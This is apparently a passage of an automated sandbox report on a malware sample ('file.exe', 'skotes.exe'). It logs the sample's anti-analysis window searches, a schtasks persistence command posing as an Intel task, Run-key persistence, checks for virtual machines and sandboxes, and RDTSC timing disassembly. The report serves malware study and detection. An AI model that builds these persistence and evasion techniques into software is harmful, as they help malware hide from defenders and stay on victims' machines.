Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Window searched: window name: Regmonclass	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\main\in.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6e8fec8a4f.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6e8fec8a4f.exe			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep	graph_6-37258
Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_0-9976
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_1-9691

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: d6cdb1061b.exe, 00000029.00000002.2967658282.0000000000400000.00000040.00000001.01000000.00000011.sdmp

Binary or memory string: BABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/%HSWPESPY.DLLAVGHOOKX.DLLSBIEDLL.DLLSNXHK.DLLVMCHECK.DLLDIR_WATCH.DLLAPI_LOG.DLLPSTOREC.DLLAVGHOOKA.DLLCMDVRT64.DLLCMDVRT32.DLLIMAGE/JPEGCHAININGMODEAESCHAININGMODEGCMABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=UNKNOWN EXCEPTIONBAD ALLOCATION

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF176 second address: FBF17C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBF17C second address: FBF18E instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD1DD1E6C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B04F second address: 112B05C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B05C second address: 112B060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B060 second address: 112B066 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112B066 second address: 112B071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112A167 second address: 112A196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 je 00007FD1DCB3F64Ch 0x0000000d jmp 00007FD1DCB3F659h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112A340 second address: 112A344 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112A737 second address: 112A73D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112A73D second address: 112A750 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1DD1E6C9Dh 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112A750 second address: 112A772 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD1DCB3F646h 0x00000008 jmp 00007FD1DCB3F64Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jnc 00007FD1DCB3F646h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D92A second address: 112D9C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 5A92C4E0h 0x00000010 mov edi, edx 0x00000012 pushad 0x00000013 pushad 0x00000014 mov cx, 97DFh 0x00000018 and ecx, 0370EE75h 0x0000001e popad 0x0000001f mov dx, A57Bh 0x00000023 popad 0x00000024 push 00000003h 0x00000026 mov dword ptr [ebp+122D239Bh], eax 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D2DB3h], ecx 0x00000034 push 00000003h 0x00000036 mov dword ptr [ebp+122D1FA7h], ecx 0x0000003c jnc 00007FD1DD1E6C9Ah 0x00000042 push B6732B54h 0x00000047 push edi 0x00000048 jmp 00007FD1DD1E6CA8h 0x0000004d pop edi 0x0000004e add dword ptr [esp], 098CD4ACh 0x00000055 jmp 00007FD1DD1E6CA2h 0x0000005a lea ebx, dword ptr [ebp+1244267Bh] 0x00000060 push ebx 0x00000061 mov si, dx 0x00000064 pop ecx 0x00000065 push eax 0x00000066 push edx 0x00000067 push ecx 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112DA51 second address: 112DAE4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D3044h], ebx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007FD1DCB3F648h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b add edi, 57159E27h 0x00000031 push 797D063Ch 0x00000036 jmp 00007FD1DCB3F64Ah 0x0000003b xor dword ptr [esp], 797D06BCh 0x00000042 mov esi, dword ptr [ebp+122D2AFDh] 0x00000048 or edx, dword ptr [ebp+122D3020h] 0x0000004e push 00000003h 0x00000050 stc 0x00000051 push 00000000h 0x00000053 sbb edi, 639C601Fh 0x00000059 push 00000003h 0x0000005b pushad 0x0000005c mov ecx, dword ptr [ebp+122D1F46h] 0x00000062 mov dword ptr [ebp+122D1DF5h], eax 0x00000068 popad 0x00000069 call 00007FD1DCB3F649h 0x0000006e push eax 0x0000006f push edx 0x00000070 push esi 0x00000071 jmp 00007FD1DCB3F655h 0x00000076 pop esi 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112DAE4 second address: 112DAE9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112DAE9 second address: 112DB10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FD1DCB3F651h 0x00000011 popad 0x00000012 pushad 0x00000013 je 00007FD1DCB3F646h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
